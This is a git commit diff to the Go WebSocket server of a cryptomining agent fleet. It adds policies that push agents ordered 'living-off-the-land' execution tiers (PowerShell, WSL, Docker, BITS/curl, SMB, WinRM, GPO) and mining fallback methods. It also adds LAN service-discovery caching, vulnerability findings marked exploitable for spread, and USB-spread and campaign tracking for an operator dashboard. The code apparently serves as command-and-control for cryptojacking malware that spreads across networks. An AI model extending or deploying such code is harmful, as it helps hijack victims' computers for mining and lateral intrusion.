Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -17,6 +17,7 @@ import (
 	"crypto-miner-server/internal/db"
 	"crypto-miner-server/internal/models"
 	"crypto-miner-server/internal/pool"
+	"crypto-miner-server/internal/vuln"

 	"github.com/google/uuid"
 	"github.com/gorilla/websocket"
@@ -151,6 +152,8 @@ type WSHub struct {
 	agentLogs          map[string]string
 	// T1016 DNS drift detection — stores last seen resolver list per agent
 	agentDNS           map[string][]string
+	// Latest service_discover payloads keyed by agent ID (Crucible service graph).
+	agentServiceDiscover map[string]cachedServiceDiscover
 	serverPolicy    ServerPolicy
 	pingIntervalSec int
 	fleetSecret     string // baked into forged agents; verified on WS connect
@@ -168,6 +171,11 @@ type WSHub struct {
 	beaconLastSeen     map[string]time.Time
 	beaconCmdQueue     map[string][]BeaconCommand
 	beaconPolicyQueue  map[string][]FleetAgentPolicy
+
+	// Coalesce per-agent stats_update into a single stats_batch frame per tick.
+	statsBatchMu    sync.Mutex
+	statsBatch      map[string]json.RawMessage
+	statsBatchTimer *time.Timer
 }

 func NewWSHub(database *db.Database) *WSHub {
@@ -186,7 +194,8 @@ func NewWSHub(database *db.Database) *WSHub {
 		agentConfigs:        make(map[string]AgentForgeConfig),
 		agentCapabilities:   make(map[string]models.AgentCapabilities),
 		agentLogs:           make(map[string]string),
-		agentDNS:            make(map[string][]string),
+		agentDNS:              make(map[string][]string),
+		agentServiceDiscover:  make(map[string]cachedServiceDiscover),
 		pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
 		beaconLastSeen:      make(map[string]time.Time),
 		beaconCmdQueue:      make(map[string][]BeaconCommand),
@@ -589,6 +598,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			USBSpread        bool   `json:"usb_spread"`
 			Campaign         string `json:"campaign"`
 			UTM              string `json:"utm"`
+			LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
+			JoinLane             string `json:"join_lane,omitempty"`
 		}
 			if err := json.Unmarshal(msg.Payload, &auth); err != nil {
 				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -743,6 +754,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				WorkerName:   workerName,
 				USBSpread:    auth.USBSpread,
 				Campaign:     coalesceStr(auth.Campaign, auth.UTM),
+				JoinLane:     strings.TrimSpace(auth.JoinLane),
 				Capabilities: &caps,
 			}

@@ -801,10 +813,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			go h.runPingLoopAgent(ac)
 		}

-		conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
-			"success":  true,
-			"agent_id": agentID,
-		})})
+		conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
+			resp := map[string]interface{}{
+				"success":  true,
+				"agent_id": agentID,
+			}
+			if auth.LotlPolicyFromServer {
+				tiers := policy.LotlOnionTiers
+				if len(tiers) == 0 {
+					tiers = []string{
+						"vuln_recon",
+						"docker", "wsl", "powershell", "dotnet", "bits_curl",
+						"smb", "winrm", "linux", "gpo",
+					}
+				}
+				resp["lotl_onion_tiers"] = tiers
+			}
+			mp := policy.MiningTierPolicy
+			if len(mp.TierOrder) == 0 {
+				mp.TierOrder = []string{
+					"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
+					"cpu_inprocess", "gpu_subprocess", "stratum_direct",
+				}
+			}
+			resp["mining_tier_policy"] = mp
+			top := policy.TripleOnionPolicy
+			if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
+				!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
+				top.PatchFirst = true
+				top.HighRiskThreshold = 50
+				top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
+				top.DeployLanes = []string{
+					"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
+				}
+			}
+			resp["triple_onion_policy"] = top
+			return resp
+		}())})

 			// Auto-start mining: ensure the agent isn't stuck in a paused
 			// state from a previous session. The agent's in-memory pause flag
@@ -908,6 +953,39 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				Status      string `json:"status"`
 				StartType   string `json:"start_type"`
 			} `json:"services,omitempty"`
+			// Mining fallback cascade
+			ActiveMethod    string `json:"active_method,omitempty"`
+			MiningLastError string `json:"last_error,omitempty"`
+			StratumOverlay  bool   `json:"stratum_overlay,omitempty"`
+			ChainExhausted  bool   `json:"chain_exhausted,omitempty"`
+			ChainOrder      []string `json:"chain_order,omitempty"`
+			FailedMethods   []struct {
+				Method string `json:"method"`
+				Reason string `json:"reason"`
+				At     string `json:"at"`
+			} `json:"failed_methods,omitempty"`
+			// Fleet health mining telemetry (coalesced into stats_batch)
+			MiningHashrate float64 `json:"mining_hashrate,omitempty"`
+			LOTLTier       string  `json:"lotl_tier,omitempty"`
+			LOTLAttempts   []struct {
+				Tier       string `json:"tier"`
+				OK         bool   `json:"ok"`
+				Error      string `json:"error,omitempty"`
+				DurationMs int64  `json:"duration_ms"`
+				Wallet     string `json:"wallet,omitempty"`
+			} `json:"lotl_attempts,omitempty"`
+			StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
+			JoinLane      string `json:"join_lane,omitempty"`
+			NetworkHints  json.RawMessage `json:"network_hints,omitempty"`
+			VulnFindings  []struct {
+				CVEID                     string `json:"cve_id"`
+				Severity                  string `json:"severity"`
+				Component                 string `json:"component"`
+				Patched                   bool   `json:"patched"`
+				ExploitableInFleetContext bool   `json:"exploitable_in_fleet_context"`
+				Detail                    string `json:"detail,omitempty"`
+			} `json:"vuln_findings,omitempty"`
+			VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
 		}
 			if err := json.Unmarshal(msg.Payload, &stats); err != nil {
 				continue
@@ -1022,6 +1100,66 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			if len(stats.Services) > 0 {
 				broadcast["services"] = stats.Services
 			}
+			if stats.ActiveMethod != "" {
+				broadcast["active_method"] = stats.ActiveMethod
+			}
+			if stats.MiningLastError != "" {
+				broadcast["last_error"] = stats.MiningLastError
+			}
+			if stats.StratumOverlay {
+				broadcast["stratum_overlay"] = true
+			}
+			if stats.ChainExhausted {
+				broadcast["chain_exhausted"] = true
+			}
+			if len(stats.ChainOrder) > 0 {
+				broadcast["chain_order"] = stats.ChainOrder
+			}
+			if len(stats.FailedMethods) > 0 {
+				broadcast["failed_methods"] = stats.FailedMethods
+			}
+			if stats.MiningHashrate > 0 {
+				broadcast["mining_hashrate"] = stats.MiningHashrate
+			}
+			if stats.LOTLTier != "" {
+				broadcast["lotl_tier"] = stats.LOTLTier
+			}
+			if len(stats.LOTLAttempts) > 0 {
+				broadcast["lotl_attempts"] = stats.LOTLAttempts
+			}
+			if stats.StratumEgress != "" {
+				broadcast["stratum_egress"] = stats.StratumEgress
+			}
+			if stats.JoinLane != "" {
+				broadcast["join_lane"] = stats.JoinLane
+			}
+			if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
+				var hints interface{}
+				if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
+					broadcast["network_hints"] = hints
+				}
+			}
+			if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
+				findings := make([]vuln.Finding, len(stats.VulnFindings))
+				for i, f := range stats.VulnFindings {
+					findings[i] = vuln.Finding{
+						CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
+						Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
+						Detail: f.Detail,
+					}
+				}
+				fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
+				if stats.ListenPortCount != nil {
+					fctx.ListenPortCount = *stats.ListenPortCount
+				}
+				findings = vuln.EnrichFindings(findings, fctx)
+				score := vuln.RiskScore(findings)
+				if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
+					score = *stats.VulnRiskScore
+				}
+				broadcast["vuln_findings"] = findings
+				broadcast["vuln_risk_score"] = score
+			}
 			// Attach latest RTT latency from the ping loop.
 			if ac := h.getAgentConn(agentID); ac != nil {
 				ac.latencyMu.Lock()
@@ -1030,7 +1168,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				}
 				ac.latencyMu.Unlock()
 			}
-			h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
+			h.queueStatsBroadcast(broadcast)

 		case "submit_share":
 			if agentID == "" {
@@ -1187,6 +1325,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			payload["agent_id"] = agentID
 			h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})

+		case "mining_fallback", "mining_status", "tier_report":
+			if agentID == "" {
+				continue
+			}
+			var payload map[string]interface{}
+			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
+				continue
+			}
+			payload["agent_id"] = agentID
+			h.queueStatsBroadcast(payload)
+
 		case "command_result":
 			if agentID == "" {
 				continue
@@ -1200,6 +1349,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			// Notify any handler waiting for this specific agent+action result.
 			if action, _ := payload["action"].(string); action != "" {
 				h.notifyCmdCallback(agentID, action, payload)
+				if action == "service_discover" {
+					if ok, _ := payload["success"].(bool); ok {
+						if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
+							h.cacheServiceDiscover(agentID, msg)
+						}
+					}
+				}
 				if action == "full_sys_check" {
 					if ok, _ := payload["success"].(bool); ok {
 						if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
@@ -1328,6 +1484,70 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
 	}
 }

+const statsBatchInterval = 250 * time.Millisecond
+
+// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
+// same 250ms window both land in one stats_batch update for dashboards.
+func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
+	var base, patch map[string]interface{}
+	if json.Unmarshal(existing, &base) != nil || base == nil {
+		base = map[string]interface{}{}
+	}
+	if json.Unmarshal(incoming, &patch) != nil || patch == nil {
+		return existing
+	}
+	for k, v := range patch {
+		base[k] = v
+	}
+	return mustMarshal(base)
+}
+
+// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
+// message per interval instead of N individual stats_update frames.
+func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
+	agentID, _ := payload["agent_id"].(string)
+	if agentID == "" {
+		return
+	}
+	data := mustMarshal(payload)
+
+	h.statsBatchMu.Lock()
+	if h.statsBatch == nil {
+		h.statsBatch = make(map[string]json.RawMessage)
+	}
+	if prev, ok := h.statsBatch[agentID]; ok {
+		data = mergeStatsPayload(prev, data)
+	}
+	h.statsBatch[agentID] = data
+	if h.statsBatchTimer == nil {
+		h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
+	}
+	h.statsBatchMu.Unlock()
+}
+
+func (h *WSHub) flushStatsBatch() {
+	h.statsBatchMu.Lock()
+	batch := h.statsBatch
+	h.statsBatch = nil
+	if h.statsBatchTimer != nil {
+		h.statsBatchTimer.Stop()
+		h.statsBatchTimer = nil
+	}
+	h.statsBatchMu.Unlock()
+
+	if len(batch) == 0 {
+		return
+	}
+	updates := make([]json.RawMessage, 0, len(batch))
+	for _, raw := range batch {
+		updates = append(updates, raw)
+	}
+	h.broadcastDashboard(Message{
+		Type:    "stats_batch",
+		Payload: mustMarshal(map[string]interface{}{"updates": updates}),
+	})
+}
+
 func (h *WSHub) broadcastDashboard(msg Message) {
 	h.mu.RLock()
 	defer h.mu.RUnlock()
@@ -1557,6 +1777,79 @@ func (h *WSHub) GetAgentLog(agentID string) string {
 	return h.agentLogs[agentID]
 }

+type cachedServiceDiscover struct {
+	Local    ServiceGraphHost
+	LANHosts []ServiceGraphHost
+}
+
+func (h *WSHub) cacheServiceDiscover(agentID, message string) {
+	var payload struct {
+		Local    ServiceGraphHost   `json:"local"`
+		LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
+	}
+	if err := json.Unmarshal([]byte(message), &payload); err != nil {
+		return
+	}
+	h.mu.Lock()
+	h.agentServiceDiscover[agentID] = cachedServiceDiscover{
+		Local:    payload.Local,
+		LANHosts: payload.LANHosts,
+	}
+	h.mu.Unlock()
+}
+
+func subnetLabelMatches(hostSubnet, query string) bool {
+	hostSubnet = strings.TrimSpace(hostSubnet)
+	query = strings.TrimSpace(query)
+	if query == "" {
+		return true
+	}
+	query = strings.TrimSuffix(query, ".x")
+	hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
+	return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
+}
+
+// QueryServiceGraph returns deduped service entries from cached service_discover runs.
+func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+
+	seen := make(map[string]bool)
+	var out []ServiceGraphEntry
+	add := func(entries []ServiceGraphEntry) {
+		for _, e := range entries {
+			key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
+			if seen[key] {
+				continue
+			}
+			seen[key] = true
+			out = append(out, e)
+		}
+	}
+
+	collect := func(cached cachedServiceDiscover) {
+		if subnetLabelMatches(cached.Local.Subnet, subnet) {
+			add(cached.Local.Services)
+		}
+		for _, host := range cached.LANHosts {
+			if subnetLabelMatches(host.Subnet, subnet) {
+				add(host.Services)
+			}
+		}
+	}
+
+	if agentID != "" {
+		if cached, ok := h.agentServiceDiscover[agentID]; ok {
+			collect(cached)
+		}
+		return out
+	}
+	for _, cached := range h.agentServiceDiscover {
+		collect(cached)
+	}
+	return out
+}
+
 func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
 	h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
 }
@@ -1618,12 +1911,15 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
 	})
 }

+// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
+var warRoomBroadcastInterval = 30 * time.Second
+
 // runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
 func (h *WSHub) runWarRoomBroadcast() {
 	if h.db == nil {
 		return
 	}
-	ticker := time.NewTicker(30 * time.Second)
+	ticker := time.NewTicker(warRoomBroadcastInterval)
 	defer ticker.Stop()
 	for range ticker.C {
 		data, err := h.db.ListWarRoom(7)